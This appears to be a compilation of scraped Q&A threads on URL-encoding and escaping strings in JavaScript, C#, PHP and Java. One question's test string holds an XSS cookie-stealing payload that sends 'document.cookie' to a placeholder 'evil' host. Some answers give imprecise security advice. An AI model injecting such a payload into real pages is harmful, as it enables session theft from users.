encoding json to string - javascript

I'm interested how does google encode POST params.
In one of a application I've found the following approach, let say I have the following object:
selection={"ty":"mc","cl":{"loc_type":0,"si":9,"aps":false},"sr":[]}
In POST request it takes the following form:
selection=%7B%22ty%22%3A%22mc%22%2C%22cl%22%3A%7B%22loc_type%22%3A0%2C%22si%22%3A9%2C%22aps%22%3Afalse%7D%2C%22sr%22%3A%5B%5D%7D
Which is method is applied here?

The same effect can be achieved by using encodeURIComponent and JSON.stringify functions:
"selection=" + encodeURIComponent(JSON.stringify(selection))

It's simply URL encoding
Check out the built-in function encodeURIComponent(str) and encodeURI(str)

the method in javascript is called encodeURIComponent() write
alert(encodeURIComponent('{"ty":"mc","cl":{"loc_type":0,"si":9,"aps":false},"sr":[]}'));

It is called URL-Encoding.
It replaces non-ASCII characters and characters that have a special meaning in the URI scheme with a ASCII representation: Each character that isn't printable will be written as %xy where xy is the index inside the ASCII table of that character.
There are many programming languages supporting it out-of-the-box:
In JavaScript you can use the encodeURIComponent() or encodeURI() function.
You can easily invoke it like this, e.g.:
var myjson = '{my:json}';
url_encoded_json = encodeURIComponent( myjson );
alert(url_encoded_json);
In other languages:
PHP has the rawurlencode() function.
ASP has the Server.URLEncode() function.
Python has the urllib.urlencode() function.
Java has the java.net.URI(url).toASCIIString() function

Related

Does the OWASP Java Encoder have any decoding functions?

I encoded the query string below with the forURIComponent method of the OWASP encoder.
String query = "query=hello'};
window.location = 'http://evil?'+document.cookie;va&r- b = {//]'";
String encodedQuery = Encode.forUriComponent(query);
Now I need to decode encodedQuery, and the decoded string should be exactly equal to the original query. How can I do this?
I assume you're talking about the OWASP Java Encoder. As far as I can tell, it does not supply any decoding functions.
However, since the Encode.forUriComponent() method implements standard URL percent encoding, you can use any correctly implemented URL decoding function to decode it. For example in Java, according to the answers to this question, you could use java.net.URLDecoder.
In JavaScript, decodeURIComponent() should do the trick. If you need to parse a URI containing (possibly) multiple parameters, however, you may find the URL class (or URLSearchParams) more convenient to use.

Escape dotnet resources in javascript

I need to read dot ner reesources string in java script as mention below.
var resources = #Html.ResourceStrings("Home_General_", Resources.ResourceManager);
The above line will render all the resources (from Dot net resource file) which start with resource key as "Home_General_"
Some of the values from the resources are like "Hi "XYZ" are you there" i.e The string contains quotes character.
If the string has quotes the above call fails.
The one way to avoid this problem is escape the special character as "Hi \"XYZ\" are you there"
Any other way where we can avoid this, As I don't want to pollute my resource string with lot of escape (\) characters.
You need to Javascript-escape any string when you render it as a Javascript string literal.
You must also remove the outer quotes from the string resource; that should be text, not a half-valid Javascript expression.
Use code like this to retrieve a single resource string:
var resourceXYZ = '#Html.Raw(HttpUtility.JavaScriptStringEncode(Resources.ResourceManager.GetString("Home_General_XYZ")))';
We do the following:
We get the resource string via Resources.ResourceManager.GetString().
We pass the result to HttpUtility.JavaScriptStringEncode to escape any special characters in JavaScript.
We pass the result to Html.Raw() to prevent Razor from applying HTML encoding on this string.
We then output the text enclosed in single quote quaracters into the page.
The function Html.ResourceStrings is not a standard function that is part of MVC. Someone at your place must have written it. If you show us this code, we could tell you how to rewrite it to return valid JavaScript literals.
You could wrap your #Html.ResourcesString(...) with HttpUtility.JavaScriptStringEncode which will handle all escape issues.
var resources = #HttpUtility.JavaScriptStringEncode(Html.ResourceStrings("Home_General_", Resources.ResourceManager));

How can I send the "&" (ampersand) character via AJAX?

I want to send a few variables and a string with the POST method from JavaScript.
I get the string from the database, and then send it to a PHP page. I am using an XMLHttpRequest object.
The problem is that the string contains the character & a few times, and the $_POST array in PHP sees it like multiple keys.
I tried replacing the & with \& with the replace() function, but it doesn't seem to do anything.
Can anyone help?
The javascript code and the string looks like this:
var wysiwyg = dijit.byId("wysiwyg").get("value");
var wysiwyg_clean = wysiwyg.replace('&','\&');
var poststr = "act=save";
poststr+="&titlu="+frm.value.titlu;
poststr+="&sectiune="+frm.value.sectiune;
poststr+="&wysiwyg="+wysiwyg_clean;
poststr+="&id_text="+frm.value.id_text;
xmlhttp.open("POST","lista_ajax.php",true);
xmlhttp.setRequestHeader("Content-type","application/x-www-form-urlencoded");
xmlhttp.send(poststr);
The String is:
<span class="style2">"Busola"</span>
You can use encodeURIComponent().
It will escape all the characters that cannot occur verbatim in URLs:
var wysiwyg_clean = encodeURIComponent(wysiwyg);
In this example, the ampersand character & will be replaced by the escape sequence %26, which is valid in URLs.
You might want to use encodeURIComponent().
encodeURIComponent(""Busola""); // => %26quot%3BBusola%26quot%3B
You need to url-escape the ampersand. Use:
var wysiwyg_clean = wysiwyg.replace('&', '%26');
As Wolfram points out, this is nicely handled (along with all the other special characters) by encodeURIComponent.
Ramil Amr's answer works only for the & character. If you have some other special characters, you should use PHP's htmlspecialchars() and JS's encodeURIComponent().
You can write:
var wysiwyg_clean = encodeURIComponent(wysiwyg);
And on the server side:
htmlspecialchars($_POST['wysiwyg']);
This will make sure that AJAX will pass the data as expected, and that PHP (in case your'e insreting the data to a database) will make sure the data works as expected.
You can pass your arguments using this encodeURIComponent function so you don't have to worry about passing any special characters.
data: "param1=getAccNos&param2="+encodeURIComponent('Dolce & Gabbana')
OR
var someValue = 'Dolce & Gabbana';
data: "param1=getAccNos&param2="+encodeURIComponent(someValue)
https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/encodeURIComponent
You could encode your string using Base64 encoding on the JavaScript side and then decoding it on the server side with PHP (?).
JavaScript (Docu)
var wysiwyg_clean = window.btoa( wysiwyg );
PHP (Docu):
var wysiwyg = base64_decode( $_POST['wysiwyg'] );
The preferred way is to use a JavaScript library such as jQuery and set your data option as an object, then let jQuery do the encoding, like this:
$.ajax({
type: "POST",
url: "/link.json",
data: { value: poststr },
error: function(){ alert('some error occured'); }
});
If you can't use jQuery (which is pretty much the standard these days), use encodeURIComponent.
encodeURIComponent(Your text here);
This will truncate special characters.

convert UTF 8 string to URL (ajax)

I have a string for example, that may contain special characters (+,=,&, etc...):
"Írja ide kérdését, majd üssön entert!"
and I would like to convert it to URL accepteble string for XHR like (because IE does not do it automatically):
"%C3%8Drja%20ide%20k%C3%A9rd%C3%A9s%C3%A9t,%20majd%20%C3%BCss%C3%B6n%20entert!"
Is there any javascript function for this?
Thank you!
You should use the encodeURI function:
encodeURI("Írja ide kérdését, majd üssön entert!");
// => "%C3%8Drja%20ide%20k%C3%A9rd%C3%A9s%C3%A9t,%20majd%20%C3%BCss%C3%B6n%20entert!"
You have added a + sign.
To encode this plus sign too, use the encodeURIComponent function:
encodeURIComponent("+Írja ide kérdését, majd üssön entert!");
// => "%2B%C3%8Drja%20ide%20k%C3%A9rd%C3%A9s%C3%A9t%2C%20majd%20%C3%BCss%C3%B6n%20entert!"
Check this thread for more informations about the differences between escape, encodeURI and encodeURIComponent functions.

what is the c# equivalent to javascript's unescape()?

I am trying to analyse some JavaScript, and one line is
var x = unescape("%u4141%u4141 ......");
with lots of characters in form %uxxxx.
I want to rewrite the JavaScript in c# but can't figure out the proper function to decode a string of characters like this. I've tried
HttpUtility.HTMLDecode("%u4141%u4141");
but this did not change these characters at all.
How can I accomplish this in c#?
You can use UrlDecode:
string decoded = HttpUtility.UrlDecode("%u4141%u4141");
decoded would then contain "䅁䅁".
As other have pointed out, changing the % to \ would work, but UrlDecode is the preferred method, since that ensures that other escaped symbols are translated correctly as well.
You need HttpUtility.UrlDecode. You shouldn't really be using escape/unescape in most cases nowadays, you should be using things like encodeURI/decodeURI/encodeURIComponent.
When are you supposed to use escape instead of encodeURI / encodeURIComponent?
This question covers the issue of why escape/unescape are a bad idea.
You can call bellow method to achieve the same effect as Javascript escape/unescape method
Microsoft.JScript.GlobalObject.unescape();
Microsoft.JScript.GlobalObject.escape();
Change the % signs to backslashes and you have a C# string literal. C# treats \uxxxx as an escape sequence, with xxxx being 4 digits.
In basic string usage you can initiate string variable in Unicode:
var someLine="\u4141";
If it is possible - replace all "%u" with "\u".
edit the web.config the following parameter:
< globalization requestEncoding="iso-8859-15" responseEncoding="utf-8" >responseHeaderEncoding="utf-8" in < system.web >

Categories